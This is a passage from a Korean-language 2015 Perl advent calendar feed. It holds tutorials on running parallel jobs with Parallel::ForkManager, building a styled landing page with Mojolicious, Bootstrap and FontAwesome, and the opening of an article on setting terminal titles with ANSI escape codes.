여기에 펄과 <code>Mojolicious</code>, <code>Mojolicious::Plugin::Bootstrap3</code> 모듈까지 함께라면
신바람나게 개발할 수 있답니다.
이제 멋진 웹을 만들 일만 남았군요!</p>
<p>Enjoy Your Perl! ;-)</p>
<p><em>EOT</em></p>
2015-12-09T00:00:00+09:00keedi돌리고~ 돌리고~ 작업 병렬 실행http://advent.perl.kr/2015/2015-12-08.html<h2>저자</h2>
<p><a href="http://twitter.com/#!/aer0">@aer0</a> -
Seoul.pm, #perl-kr의 정신적 지주,
Perl에 대한 근원적이면서 깊은 부분까지 놓치지 않고 다루는 <a href="http://aero.sarang.net/">홈페이지 및 블로그</a>를 운영하고 있다.
aero라는 닉을 사용하기도 한다.</p>
<h2>시작하며</h2>
<p>요즘은 물리적 CPU가 하나라도 내부 코어(core) 갯수가 한 개인 CPU는 찾아보기 어렵고
심지어 모바일 스마트폰의 CPU조차 여러 개의 코어를 지원하는 시대에 살고 있습니다.
따라서 어떤 작업을 할 때 멀티 코어의 장점을 살리려면 병렬 실행이 필수적입니다.
작업을 병렬로 실행하는 방법은 크게 스레드(thread)를 이용한 방법과
멀티 프로세스(multi-process)를 이용한 방법이 있습니다.
Perl은 두 가지 방법 모두 지원합니다.
Python, Ruby의 스레드가 GIL(Global Interpreter Lock)이란 구조 때문에 하나의 코어만
사용할 수 있는 반면, Perl 스레드는 여러 개의 코어를 동시에 활용 가능합니다.
하지만 네이티브 스레드와는 구조가 좀 다른 인터프리티드 스레드(interpreted thread)라는
구조를 택하고 있어서 요즘은 될 수 있으면 멀티 프로세스 구조를 사용하도록 추천합니다.</p>
<p>단순히 독립적인 작업을 단순히 처리하는 것이 목적인 병렬 작업은
그냥 동시에 돌려놓고 작업들이 끝나기를 기다리면 그만이기 때문에
스레드를 이용하든 포크(fork)를 이용한 멀티 프로세스 구조든 간단합니다.
하지만 어떤 공통되는 성공 실패 카운트를 세는 변수가 있거나,
각 작업의 결과를 모아서 처리를 해야 하고 자신의 CPU 코어 수에 맞게
시스템이 응답지연 및 hang상태에 빠지지 않도록 과도한 부하가 가지 않게
동시에 실행되는 작업의 갯수를 적절하게 조절해야 되는 요구가 생기면
슬슬 신경 써야 할 부분이 많아지죠.
스레드 같으면 여러 스레드가 변수값을 동시에 변경하지 못하도록 mutex같은 lock을 써서
동기화시켜 주어야 하고 멀티 프로세스에서는 부모, 자식 프로세스간 메모리 영역이
공유되지 않기 때문에 자식 프로세스가 넘기는 결과나 값을 받으려면
파이프, 소켓, 임시파일 등을 통한 부모, 자식 프로세스 간에 데이터 통신을
하기 위한 IPC(inter-process communication)장치도 만들어야 합니다.
그리고 현재 동시에 작업하고 있는 스레드나 프로세스의 갯수를 세고,
지정한 개수를 초과하지 않도록 조절해야 합니다.
이걸 다 직접 구현하려면 머리가 지끈지끈하겠죠?
하지만 걱정마세요!
Perl <a href="http://www.cpan.org/">CPAN</a>에는 이런 요구사항을 한방에 만족시켜주는
<a href="https://metacpan.org/pod/Parallel::ForkManager">Parallel::ForkManager</a>라는 모듈이 있으니까요.</p>
<h2>준비물</h2>
<p>필요한 모듈은 다음과 같습니다.</p>
<ul>
<li><a href="https://metacpan.org/pod/Parallel::ForkManager">CPAN의 Parallel::ForkManager 모듈</a></li>
</ul>
<p>직접 <a href="http://www.cpan.org/">CPAN</a>을 이용해서 설치한다면 다음 명령을 이용해서 모듈을 설치합니다.</p>
<pre class="brush: bash;">
$ sudo cpan Parallel::ForkManager
</pre>
<p>사용자 계정으로 모듈을 설치하는 방법을 정확하게 알고 있거나
<a href="http://perlbrew.pl/">perlbrew</a>를 이용해서 자신만의 Perl을 사용하고 있다면
다음 명령을 이용해서 모듈을 설치합니다.</p>
<pre class="brush: bash;">
$ cpan Parallel::ForkManager
</pre>
<h2 id="parallel::forkmanager">Parallel::ForkManager</h2>
<p><code>Parallel::ForkManager</code> 모듈은 CPAN의 각종 병렬처리 모듈 중 가장 인기가 좋은 모듈이며,
그러다보니 이 모듈에 의존성을 가지는 모듈들도 아주 많습니다.
<code>Parallel::ForkManager</code>는 세부적으로 다양한 컨트롤 옵션과 함수를 가지고 있지만
지금은 군더더기를 걷어내고 가장 단순한 예제 코드로 어떻게 동작하는지 살펴보겠습니다.</p>
<pre class="brush: perl;">
#!/usr/bin/env perl
use strict;
use warnings;
use Parallel::ForkManager;
my @num = 1 .. 50;
# 5개의 최대 동시 프로세스
my $pm = Parallel::ForkManager->new(5);
# 결과값을 저장할 해시변수
my %out;
# 각 프로세스 시작시 실행하는 콜백함수 등록
$pm->run_on_start(
sub {
my ( $pid, $ident ) = @_; # $pid - 프로세스 번호
# $ident - start시 넘겨준 값
print "### START $ident started, pid: $pid\n";
}
);
# 각 프로세스 종료시 실행하는 콜백함수 등록
$pm->run_on_finish(
sub { # must be declared before first 'start'
my (
$pid,
$exit_code,
$ident,
$exit_signal,
$core_dump,
$data,
) = @_; # $data는 프로세스 종료시 반환값
$out{ $data->[0] } = $data->[1];
}
);
# 실제 작업을 실행시키는 루프
for my $num (@num) {
# Parent nexts, run_on_start에서 고유값으로 사용할 값을 넘겨줄 줄 수 있음.
$pm->start($num) and next;
# 자식 프로세스 영역 시작 ----------
my $sq = $num ** 2;
# 자식 프로세스 영역 끝 ----------
# Child exits, 값을 리턴
$pm->finish( 0, [ $num, $sq ] );
}
# 모든 프로세스가 끝나기를 기다림
$pm->wait_all_children;
for my $num ( sort { $a <=> $b } keys %out ) {
print "$num $out{$num}\n";
}
</pre>
<p>예제 코드는 최대 5개의 프로세스를 유지하며
1에서 50까지 수의 제곱을 계산하고 마지막에 결과를 출력합니다.
코드에 주석으로 설명을 달아놨지만 핵심적인 부분은
<code>for</code> 반복문과 반복문 내의 각 자식 프로세스가 실행되는 코드영역이며,
지금은 간단한 한 줄짜리 계산이지만 외부 함수 호출등
복잡한 작업이 필요하다면 대체하면 됩니다.</p>
<p><code>run_on_start</code> 함수는 프로세스가 시작할 때 어떤 메시지를 찍거나,
전처리 작업을 하고 싶을 때 사용할 콜백함수를 등록하기 위해 사용합니다.
어떤 대상에 대한 작업인지 고유의 값으로 판별하고 싶으면 <code>start</code> 함수에
옵션으로 어떤 값을 넘겨(필요없으면 안써도 됨) 등록한 콜백함수 내에서
<code>$ident</code> 값으로 받아 사용할 수 있습니다. </p>
<p>그리고 프로세스가 끝났을때 <code>finish( 0, [ $num, $sq ] )</code> 함수로 프로세스 종료시
기본 종료 코드 <code>0</code>을 지정하고 부모 프로세스에게 선택적으로
넘겨줄 수 있는 변수값을 뒤에 넘겨주고 있습니다.
변수는 스칼라 형태여야 하며 여기서는 두 값을 포함하고 있는 익명 배열 참조(레퍼런스는
실제 데이터가 위치한 주소값을 가지고 있는 스칼라변수)를 넘겨주고 있습니다.
이 값은 <code>run_on_finish</code> 함수에서 등록한 콜백함수에서 <code>$data</code>로 받아서 처리합니다.</p>
<pre class="brush: plain;">
### START 1 started, pid: 26015
### START 2 started, pid: 26016
### START 3 started, pid: 26017
.
.
### START 48 started, pid: 26062
### START 49 started, pid: 26063
### START 50 started, pid: 26064
1 1
2 4
3 9
.
.
48 2304
49 2401
50 2500
</pre>
<h2>정리하며</h2>
<p>사실 위 코드는 어떻게 동작하는지를 보여주기 위한 목적이지
실제는 간단한 계산이기 때문에 계산에 걸리는 부하보다
새로 프로세스를 fork하는데 걸리는 부하가 더 크기 때문에
그냥 순차적으로 계산하는 것 보다 빠르지 않을 것 입니다.
하지만 프로세스당 아주 복잡하고 긴 시간이 걸리는 계산을 하거나
여러 URL을 넘겨서 웹페이지를 긁어온다거나,
아주 많은 서버 IP 주소를 대상으로 <code>ping</code>을 해보거나,
SSH로 원격으로 붙어서 어떤 명령을 날린다거나 하는 작업을 한다면
순차적으로 하는 것과는 비교가 되지 않는 작업 효율을 낼것입니다.</p>
<p>이제 이 코드를 기반으로 다양한 마법을 부리는 것은 여러분에게 달려있습니다.
돌리고~ 돌리고~!!</p>
2015-12-08T00:00:00+09:00aer0Mojolicious + Bootstrap + FontAwesome 삼종셋트http://advent.perl.kr/2015/2015-12-07.html<h2>저자</h2>
<p><a href="http://twitter.com/#!/keedi">@keedi</a> - Seoul.pm 리더, Perl덕후,
<a href="http://www.yes24.com/24/goods/4433208">거침없이 배우는 펄</a>의 공동 역자, keedi.k <em>at</em> gmail.com</p>
<h2>시작하며</h2>
<p>현대의 웹 응용에 있어 디자인은 필수 불가결한 요소입니다.
제 아무리 뛰어난 기능을 가지고 있거나, 좋은 내용을 담고 있는 웹 페이지나 웹 응용이라 할지라도
속된 말로 때깔이 좋지 않으면 사용자들의 호감도는 급감합니다.
반대로 때깔이라도 좋으면 그래도 사용자들의 호감도는 증가합니다.
비록 이런 상황 자체가 바람직한 것은 아니나, 그럼에도 불구하고 최소 웹에서 금칠(?)이
중요하다는 사실에는 개발자나 사용자나 모두가 고개를 끄덕일 것입니다.
디자이너가 없는 개발자나 개발팀의 경우 아리따운 웹 화면을 구성하려면 많은 노력이 필요합니다.
하지만 오픈소스 커뮤니티의 노력으로 탄생한 <a href="http://getbootstrap.com/">Bootstrap</a>과
<a href="http://fontawesome.io/">FontAwesome</a> 두 라이브러리만 있다면 최소한의 노력으로
미려한 웹 페이지를 만드는데 부족함이 없습니다.
펄(Perl)과 <a href="http://www.cpan.org/">CPAN</a>은 <a href="http://mojolicio.us/">Mojolicious</a> + <a href="http://getbootstrap.com/">Bootstrap</a> + <a href="http://fontawesome.io/">FontAwesome</a>
이 삼종셋트를 손쉽게 사용할 수 있는 아주 획기적인 도구를 지원하고 있습니다.
<a href="https://www.williamghelfi.com/blog/2013/08/04/bootstrap-in-practice-a-landing-page/">William Ghelfi씨의 Bootstrap in practice: a landing page</a> 기사를
참고해 과연 얼마나 간단하게 이 삼종셋트를 이용해 웹을 꾸밀 수 있는지 알아보죠.</p>
<h2>준비물</h2>
<p>필요한 모듈은 다음과 같습니다.</p>
<ul>
<li><a href="https://metacpan.org/pod/Mojolicious">CPAN의 Mojolicious 모듈</a></li>
<li><a href="https://metacpan.org/pod/Mojolicious::Plugin::FontAwesome4">CPAN의 Mojolicious::Plugin::FontAwesome4 모듈</a></li>
<li><a href="https://metacpan.org/pod/Mojolicious::Plugin::Bootstrap3">CPAN의 Mojolicious::Plugin::Bootstrap3 모듈</a></li>
</ul>
<p>직접 <a href="http://www.cpan.org/">CPAN</a>을 이용해서 설치한다면 다음 명령을 이용해서 모듈을 설치합니다.</p>
<pre class="brush: bash;">
$ sudo cpan \
Mojolicious \
Mojolicious::Plugin::Bootstrap3 \
Mojolicious::Plugin::FontAwesome4
</pre>
<p>사용자 계정으로 모듈을 설치하는 방법을 정확하게 알고 있거나
<a href="http://perlbrew.pl/">perlbrew</a>를 이용해서 자신만의 Perl을 사용하고 있다면
다음 명령을 이용해서 모듈을 설치합니다.</p>
<pre class="brush: bash;">
$ cpan \
Mojolicious \
Mojolicious::Plugin::Bootstrap3 \
Mojolicious::Plugin::FontAwesome4
</pre>
<h2 id="mojolicious">Mojolicious</h2>
<p><a href="http://mojolicio.us/">Mojolicious</a>는 인기있는 펄의 경량 웹 프레임워크입니다.
간단히 <code>Mojolicious</code>를 이용해서 당장 돌릴 수 있는 최소한의 페이지를 꾸며보죠.
웹에서 해당 주소의 가장 첫 페이지를 의미하는 랜딩 페이지(landing page) 정도면 적당하겠죠?
명령줄에서 다음 명령을 실행합니다.</p>
<pre class="brush: bash;">
$ mkdir landing
$ cd letsrock
$ mojo generate lite_app letsrock.pl
[exist] /home/askdna/letsrock
[write] /home/askdna/letsrock/letsrock.pl
[chmod] /home/askdna/letsrock/letsrock.pl 744
$
</pre>
<p>생성된 <code>letsrock.pl</code> 파일의 내용은 다음과 같습니다.</p>
<pre class="brush: perl;">
#!/usr/bin/env perl
use Mojolicious::Lite;
# Documentation browser under "/perldoc"
plugin 'PODRenderer';
get '/' => sub {
my $c = shift;
$c->render(template => 'index');
};
app->start;
__DATA__
@@ index.html.ep
% layout 'default';
% title 'Welcome';
Welcome to the Mojolicious real-time web framework!
@@ layouts/default.html.ep
<!DOCTYPE html>
<html>
<head><title><%= title %></title></head>
<body><%= content %></body>
</html>
</pre>
<p>기존 파일의 내용에 연연하지 말고 <code>letsrock.pl</code> 파일을 다음처럼 바꿔 볼까요?</p>
<pre class="brush: perl;">
#!/usr/bin/env perl
use Mojolicious::Lite;
get "/" => "index";
app->start;
__DATA__
@@ index.html.ep
<!DOCTYPE html>
<html>
<head>
<title>Landing Page Example</title>
</head>
<body>
<h1>Hello, world!</h1>
</body>
</html>
</pre>
<p>자, 이제 화면에 <code>Hello, world!</code>가 잘 나타나는지 확인해보죠.
명령줄에서 다음 명령을 실행해서 웹 응용을 구동시킵니다.</p>
<pre class="brush: bash;">
$ morbo letsrock.pl
Server available at http://127.0.0.1:3000
[Fri Dec 4 08:51:39 2015] [debug] Your secret passphrase needs to be changed
</pre>
<p>브라우저에서 <code>http://localhost:3000</code> 주소로 접속해서 화면을 살펴보세요.</p>
<p><img src="2015-12-07-1_r.png" alt="landing-hello-world" id="landing-hello-world" />
<em>그림 1.</em> 첫 번째 랜딩 페이지 - 안녕, 세상?! (<a href="2015-12-07-1.png">원본</a>)</p>
<p>일단 랜딩 페이지가 보이는 것을 확인했습니다.
이제 필요한 것은 랜딩 페이지에서 보일 내용이겠죠?
랜딩 페이지에서 보여줄 내용을 추가해보죠.
<code>__DATA__</code> 섹션 하부의 <code>index.html.ep</code> 템플릿 영역의 내용을 다음 내용으로 대체합니다.</p>
<pre class="brush: xml;">
<!DOCTYPE html>
<html>
<head>
<title>Landing Page Example</title>
</head>
<body>
<h1>Have you ever seen the rain?</h1>
<p>
Someone told me long ago there's a calm before the storm. I know, It's been comin for some time.
</p>
<p>
When it's over, so they say, it'll rain a sunny day. I know, Shinin down like water.
</p>
<p>
I want to know, have you ever seen the rain?
</p>
<form action="/mailing-list" method="post">
<p class="input-group">
<span class="input-group-addon">@</span>
<input type="text" class="form-control input-lg" name="email" placeholder="keedi.k@gmail.com" />
</p>
<p class="help-block"><small>We won't send you spam. Unsubscribe at any time.</small></p>
<p>
<button type="submit" class="btn btn-success btn-lg">Keep me posted</button>
</p>
</span>
</form>
</body>
</html>
</pre>
<p>다시 브라우저에서 <code>http://localhost:3000</code> 주소로 접속해서 화면을 살펴보세요.
내용이 들어가니 조금 낫죠?</p>
<p><img src="2015-12-07-2_r.png" alt="landing-content" id="landing-content" />
<em>그림 2.</em> 두 번째 랜딩 페이지 - 알맹이 (<a href="2015-12-07-2.png">원본</a>)</p>
<h2 id="bootstrap">Bootstrap</h2>
<p><code>Mojolicious::Plugin::Bootstrap3</code> 모듈을 사용하려면 <code>Mojolicious</code> 웹 응용 코드에
해당 플러그인을 적재하는 코드를 추가해야 합니다. </p>
<pre class="brush: perl;">
...
use Mojolicious::Lite;
plugin "bootstrap3";
...
</pre>
<p>플러그인을 적재한 뒤에는 템플릿 영역에서 <code>asset</code> 키워드를 이용해
Bootstrap 관련 정적 파일을 HTML에 적재할 수 있습니다.
<code>__DATA__</code> 섹션 하부의 <code>index.html.ep</code> 템플릿 영역 중
<code>head</code> 태그 영역을 다음 내용으로 대체합니다.</p>
<pre class="brush: xml;">
<head>
<title>Landing Page Example</title>
<!-- Bootstrap -->
%= asset "bootstrap.css"
%= asset "bootstrap.js"
</head>
</pre>
<p><code>M::P::Bootstrap3</code> 플러그인을 이용해서 Bootstrap 관련 파일을 간단하게 적재하면
실제로 HTML 소스 코드에는 다음처럼 코드가 풀려서 보입니다.
복잡한 파일명은 각 파일의 체크썸인데 그리 중요하지 않으니 너무 신경쓰지 마세요. :)</p>
<pre class="brush: xml;">
<!-- Bootstrap -->
<link href="/packed/bootstrap-73854046a072ca699c62a43861d3ac56.css" rel="stylesheet">
<script src="/packed/jquery-1.11.0.min-8fc25e27d42774aeae6edbc0a18b72aa.js"></script>
<script src="/packed/transition-94f8bbd34de5157ec8a86a30f0ffcf82.js"></script>
<script src="/packed/alert-8cbee2ee1f07de10728ba4cc283e0739.js"></script>
<script src="/packed/button-f9c1f74c13e3bb7ed1298ce516807966.js"></script>
<script src="/packed/carousel-00705d0a2de981bcd603e143e62b2001.js"></script>
<script src="/packed/collapse-4c0a626e3f4a62146f9a6bae17ac0639.js"></script>
<script src="/packed/dropdown-65051d98394d995212ff5b7030c4071e.js"></script>
<script src="/packed/modal-f057e38edc5fa444b138a317a8fa2cbc.js"></script>
<script src="/packed/tooltip-c4a6379c9f74d73e0e045be0fefdf95f.js"></script>
<script src="/packed/popover-5b32b736b04ef19f68614b82030b5f70.js"></script>
<script src="/packed/scrollspy-26d9ab6e4f1d34ef36e14943eb017d44.js"></script>
<script src="/packed/tab-451e9d742ed72f9bf5d19a18159130a2.js"></script>
<script src="/packed/affix-252d27257a5b7ed1bce8fd797ea20a3c.js"></script>
</pre>
<p>브라우저로 접속해서 화면을 살펴보세요.
부트스트랩이 적용되고 달라진 점이 느껴지나요?</p>
<p><img src="2015-12-07-3_r.png" alt="landing-bootstrap" id="landing-bootstrap" />
<em>그림 3.</em> 세 번째 랜딩 페이지 - Bootstrap (<a href="2015-12-07-3.png">원본</a>)</p>
<p>설명하기 어렵지만 무언가 조금은 미려해졌죠?
좋아지긴 했는데 조금 부족한 것 같습니다.
이 때 필요한 것이 바로 정면! 그리고 한 가운데!라는 마법의 규칙입니다.
혹자(William Ghelfi)는 이렇게 말하기도 합니다.</p>
<blockquote>
<p>Front and center is always a win!</p>
</blockquote>
<p>자 Bootstrap이 적용되었으니 간단히 마법의 규칙을 적용해보죠.
<code>__DATA__</code> 섹션 하부의 <code>index.html.ep</code> 템플릿 영역 중
<code>head</code> 태그 영역에 <code>style</code> 태그를 추가해보죠.</p>
<pre class="brush: xml;">
<style>
body {
padding-top: 20px;
}
.margin-base-vertical {
margin: 40px 0;
}
</style>
</pre>
<p>더불어 <code>__DATA__</code> 섹션 하부의 <code>index.html.ep</code> 템플릿 영역 중
<code>body</code> 태그 영역을 다음 내용으로 대체합니다.</p>
<pre class="brush: xml;">
<body>
<div class="container">
<div class="row">
<div class="col-md-6 col-md-offset-3">
<h1 class="margin-base-vertical">Have you ever seen the rain?</h1>
<p>
Someone told me long ago there's a calm before the storm. I know, It's been comin for some time.
</p>
<p>
When it's over, so they say, it'll rain a sunny day. I know, Shinin down like water.
</p>
<p>
I want to know, have you ever seen the rain?
</p>
<form action="/mailing-list" method="post" class="margin-base-vertical">
<p class="input-group">
<span class="input-group-addon">@</span>
<input type="text" class="form-control input-lg" name="email" placeholder="keedi.k@gmail.com" />
</p>
<p class="help-block text-center"><small>We won't send you spam. Unsubscribe at any time.</small></p>
<p class="text-center">
<button type="submit" class="btn btn-success btn-lg">Keep me posted</button>
</p>
</span>
</form>
</div>
</div>
</div>
</body>
</pre>
<p><img src="2015-12-07-4_r.png" alt="landing-bootstrap-css" id="landing-bootstrap-css" />
<em>그림 4.</em> 네 번째 랜딩 페이지 - Bootstrap + CSS (<a href="2015-12-07-4.png">원본</a>)</p>
<p>호오라, 점점 그럴듯해지고 있는 것 같죠? :)</p>
<h2 id="fontawesome">FontAwesome</h2>
<p><code>Mojolicious::Plugin::FontAwesome4</code> 모듈을 사용하려면 <code>Mojolicious</code> 웹 응용 코드에
해당 플러그인을 적재하는 코드를 추가해야 합니다. </p>
<pre class="brush: perl;">
...
use Mojolicious::Lite;
plugin "bootstrap3";
plugin "FontAwesome4";
...
</pre>
<p>플러그인을 적재한 뒤에는 템플릿 영역에서 <code>asset</code> 키워드를 이용해
FontAwesome 관련 정적 파일을 HTML에 적재할 수 있습니다.
<code>__DATA__</code> 섹션 하부의 <code>index.html.ep</code> 템플릿 영역 중
<code>head</code> 태그 영역에 다음 내용을 추가합니다.</p>
<pre class="brush: xml;">
<!-- Bootstrap -->
%= asset "bootstrap.css"
%= asset "bootstrap.js"
<!-- FontAwesome -->
%= asset "font-awesome4.css"
</pre>
<p><code>M::P::FontAwesome4</code> 플러그인을 이용해서 FontAwesome 관련 파일을 간단하게 적재하면
실제로 HTML 소스 코드에는 다음처럼 코드가 풀려서 보입니다.
마찬가지로 복잡한 파일명은 각 파일의 체크썸인데 그리 중요하지 않으니 너무 신경쓰지 마세요. :)</p>
<pre class="brush: xml;">
<!-- FontAwesome -->
<link href="/packed/font-awesome-1f2277e4931dd7b4d944014ff3126037.css" rel="stylesheet">
</pre>
<p>전자우편 주소를 기입하는 영역의 <code>@</code> 기호 대신 FontAwesome의 편지 모양 아이콘을 사용해보죠.</p>
<pre class="brush: xml;">
<p class="input-group">
<span class="input-group-addon"><span class="fa fa-envelope"></span></span>
<input type="text" class="form-control input-lg" name="email" placeholder="keedi.k@gmail.com" />
</p>
</pre>
<p><img src="2015-12-07-5_r.png" alt="landing-fontawesome" id="landing-fontawesome" />
<em>그림 5.</em> 다섯 번째 랜딩 페이지 - FontAwesome (<a href="2015-12-07-5.png">원본</a>)</p>
<p>아이콘 넣겠다고 인터넷을 찾아 헤매거나 이미지 편집 프로그램을
띄워 한참 작업하던 예전과 비교하면 정말 편해졌죠?</p>
<h2>기타 등등</h2>
<h3>폰트</h3>
<p>구글 폰트를 이용해서 타이포그라피에 약간의 변화를 주면 어떨까요?
<code>__DATA__</code> 섹션 하부의 <code>index.html.ep</code> 템플릿 영역 중
<code>head</code> 태그 영역에 다음 내용을 추가합니다.</p>
<pre class="brush: xml;">
<!-- Bootstrap -->
%= asset "bootstrap.css"
%= asset "bootstrap.js"
<!-- FontAwesome -->
%= asset "font-awesome4.css"
<!-- Google Font -->
<link href='http://fonts.googleapis.com/css?family=Abel|Open+Sans:400,600' rel='stylesheet'>
</pre>
<p>구글 폰트를 사용할 준비가 되었으니 CSS에 이를 적용합니다.
<code>__DATA__</code> 섹션 하부의 <code>index.html.ep</code> 템플릿 영역 중
<code>style</code> 태그 영역을 다음 내용으로 대체합니다.</p>
<pre class="brush: xml;">
<style>
body {
padding-top: 20px;
font-size: 16px;
font-family: "Open Sans",serif;
}
h1 {
font-family: "Abel", Arial, sans-serif;
font-weight: 400;
font-size: 40px;
}
.margin-base-vertical {
margin: 40px 0;
}
</style>
</pre>
<p><img src="2015-12-07-6_r.png" alt="landing-googlefont" id="landing-googlefont" />
<em>그림 6.</em> 여섯 번째 랜딩 페이지 - Google Font (<a href="2015-12-07-6.png">원본</a>)</p>
<h3>배경</h3>
<p>대미를 장식하는 것은 역시 배경 화면입니다.
<a href="https://www.williamghelfi.com/blog/2013/08/04/bootstrap-in-practice-a-landing-page/">기사 원저자 'William Ghelfi'</a>씨의 이미지를 슬쩍(?) 가져오죠.</p>
<pre class="brush: bash;">
$ mkdir -p public/img
$ wget https://www.williamghelfi.com/demos/img/6133364748_89f2365922_o.jpg
</pre>
<p>전체 화면에 배경 화면을 녹아들게 하기 위해
<code>__DATA__</code> 섹션 하부의 <code>index.html.ep</code> 템플릿 영역 중
<code>style</code> 태그 영역을 다음 내용으로 대체합니다.</p>
<pre class="brush: xml;">
<style>
/* http://css-tricks.com/perfect-full-page-background-image/ */
html {
background: url(img/6133364748_89f2365922_o.jpg) no-repeat center center fixed;
-webkit-background-size: cover;
-moz-background-size: cover;
-o-background-size: cover;
background-size: cover;
}
body {
padding-top: 20px;
font-size: 16px;
font-family: "Open Sans",serif;
background: transparent;
}
h1 {
font-family: "Abel", Arial, sans-serif;
font-weight: 400;
font-size: 40px;
}
/* Override B3 .panel adding a subtly transparent background */
.panel {
background-color: rgba(255, 255, 255, 0.9);
}
.margin-base-vertical {
margin: 40px 0;
}
</style>
</pre>
<p>마지막으로 <code>div.col-md-6</code> 영역에 <code>panel</code> 및 <code>panel-default</code> 클래스를 추가합니다.</p>
<pre class="brush: xml;">
<div class="container">
<div class="row">
<div class="col-md-6 col-md-offset-3 panel panel-default">
</pre>
<p><img src="2015-12-07-7_r.png" alt="landing-background" id="landing-background" />
<em>그림 7.</em> 일곱 번째 랜딩 페이지 - 배경화면 (<a href="2015-12-07-7.png">원본</a>)</p>
<p>어떤가요? ;-)</p>
<h2>전체 코드</h2>
<p>전체 코드는 다음과 같습니다.</p>
<pre class="brush: perl;">
#!/usr/bin/env perl
use Mojolicious::Lite;
plugin "bootstrap3";
plugin 'FontAwesome4';
get "/" => "index";
app->start;
__DATA__
@@ index.html.ep
<!DOCTYPE html>
<html>
<head>
<title>Landing Page Example</title>
<!-- Bootstrap -->
%= asset "bootstrap.css"
%= asset "bootstrap.js"
<!-- FontAwesome -->
%= asset "font-awesome4.css"
<!-- Google Font -->
<link href='http://fonts.googleapis.com/css?family=Abel|Open+Sans:400,600' rel='stylesheet'>
<style>
/* http://css-tricks.com/perfect-full-page-background-image/ */
html {
background: url(img/6133364748_89f2365922_o.jpg) no-repeat center center fixed;
-webkit-background-size: cover;
-moz-background-size: cover;
-o-background-size: cover;
background-size: cover;
}
body {
padding-top: 20px;
font-size: 16px;
font-family: "Open Sans",serif;
background: transparent;
}
h1 {
font-family: "Abel", Arial, sans-serif;
font-weight: 400;
font-size: 40px;
}
/* Override B3 .panel adding a subtly transparent background */
.panel {
background-color: rgba(255, 255, 255, 0.9);
}
.margin-base-vertical {
margin: 40px 0;
}
</style>
</head>
<body>
<div class="container">
<div class="row">
<div class="col-md-6 col-md-offset-3 panel panel-default">
<h1 class="margin-base-vertical">Have you ever seen the rain?</h1>
<p>
Someone told me long ago there's a calm before the storm. I know, It's been comin for some time.
</p>
<p>
When it's over, so they say, it'll rain a sunny day. I know, Shinin down like water.
</p>
<p>
I want to know, have you ever seen the rain?
</p>
<form action="/mailing-list" method="post" class="margin-base-vertical">
<p class="input-group">
<span class="input-group-addon"><span class="fa fa-envelope"></span></span>
<input type="text" class="form-control input-lg" name="email" placeholder="keedi.k@gmail.com" />
</p>
<p class="help-block text-center"><small>We won't send you spam. Unsubscribe at any time.</small></p>
<p class="text-center">
<button type="submit" class="btn btn-success btn-lg">Keep me posted</button>
</p>
</span>
</form>
</div>
</div>
</div>
</body>
</html>
</pre>
<h2>정리하며</h2>
<p><a href="http://mojolicio.us/">Mojolicious</a> + <a href="http://getbootstrap.com/">Bootstrap</a> + <a href="http://fontawesome.io/">FontAwesome</a> 삼종셋트는 어떠셨나요?
펄과 Mojolicious면 정말 간단히 웹 응용을 만들 수 있을 뿐만 아니라
대세인 Bootstrap과 FontAwesome을 적용시키는 것도 매우 쉽습니다.
꼭 소개한 모듈을 사용하지 않더라도 그리 어려운 작업은 아니지만
정적 파일을 디렉터리에 맞게 배치하고 관리하는 것은 번거로운 작업입니다.
<code>Mojolicious::Plugin::Bootstrap</code> 모듈과 <code>Mojolicious::Plugin::FontAwesome4</code> 모듈을
사용하면 무척 손쉽게 여러분의 미려한 웹 응용을 만들 준비가 끝납니다.
자, 지금 당장 Perl과 함께 아름다운 웹 페이지를 만들어 볼까요?</p>
<p>Enjoy Your Perl! ;-)</p>
<p><em>EOT</em></p>
2015-12-07T00:00:00+09:00keedi터미널 제목 바꾸기http://advent.perl.kr/2015/2015-12-06.html<h2>저자</h2>
<p><a href="http://twitter.com/#!/keedi">@keedi</a> - Seoul.pm 리더, Perl덕후,
<a href="http://www.yes24.com/24/goods/4433208">거침없이 배우는 펄</a>의 공동 역자, keedi.k <em>at</em> gmail.com</p>
<h2>시작하며</h2>
<p>여러분은 터미널용 유틸리티를 자주 만들곤 하나요?
<a href="https://en.wikipedia.org/wiki/KISS_principle">유닉스의 철학 중 하나인 KISS</a>답게 유틸리티를
만들다보면 대부분은 한 가지 일을 잘 수행하는 간결하고 짧은 프로그램을
작성하게 되지만 가끔씩은 많은 일을 아우를 수 있는 엄청난(?) 것을
만들게 되기도 합니다.
관리 도구라던가 사용자 명령을 기다리는 유틸리티들이 대표적인데요.
이런 프로그램들은 사용자가 종료하기 전까지는 계속 대기 상태로 있죠.
또는 간단한 프로그램이지만 처리 시간이 꽤 오래 걸리기 때문에
실행된 상태로 종료될 때까지 오랜 시간 대기 하는 경우도 있습니다.
이런 경우 현재 프로세스 상태를 터미널 제목에 표시한다면, 제법 유용할 것입니다.
Perl을 이용해 터미널의 제목을 바꾸는 법을 알아보죠.</p>
<h2>준비물</h2>
<p>필요한 모듈은 다음과 같습니다.</p>
<ul>
<li><a href="https://metacpan.org/pod/Term::Title">CPAN의 Term::Title 모듈</a></li>
</ul>
<p>직접 <a href="http://www.cpan.org/">CPAN</a>을 이용해서 설치한다면 다음 명령을 이용해서 모듈을 설치합니다.</p>
<pre class="brush: bash;">
$ sudo cpan Term::Title
</pre>
<p>사용자 계정으로 모듈을 설치하는 방법을 정확하게 알고 있거나
<a href="http://perlbrew.pl/">perlbrew</a>를 이용해서 자신만의 Perl을 사용하고 있다면
다음 명령을 이용해서 모듈을 설치합니다.</p>
<pre class="brush: bash;">
$ cpan Term::Title
</pre>
<h2>제목 바꾸기</h2>
<p><a href="https://en.wikipedia.org/wiki/Xterm">xterm</a> 기반의 터미널일 경우 터미널의 제목을 바꾸려면
<a href="https://en.wikipedia.org/wiki/ANSI_escape_code">ANSI 제어 문자</a>를 사용합니다.
터미널 제목 수정시 시작하는 문자는 <code>"\033]2;"</code>이며 종료하는 문자는 <code>"\007"</code> 입니다.
즉 실행하는 유틸리티가 터미널 제목을 바꾸려면 다음과 같은 코드를 실행해야 합니다.</p>
<pre class="brush: perl;">
#!/usr/bin/env perl
use strict;
use warnings;
print STDOUT "\033]2;", '2015 Seoul.pm 펄 크리스마스 달력', "\007", "\n";
sleep 10;
</pre>
<p><code>sleep</code> 함수를 넣지 않을 경우 터미널 제목이 변경된 후 프로그램이 종료되고
종료되자마자 원래의 터미널 제목으로 바뀌는 것이 순간의 찰나이기 때문에
실행 결과를 확인하기가 어렵습니다.</p>
<p><img src="2015-12-06-1_r.png" alt="example-1" id="example-1" />
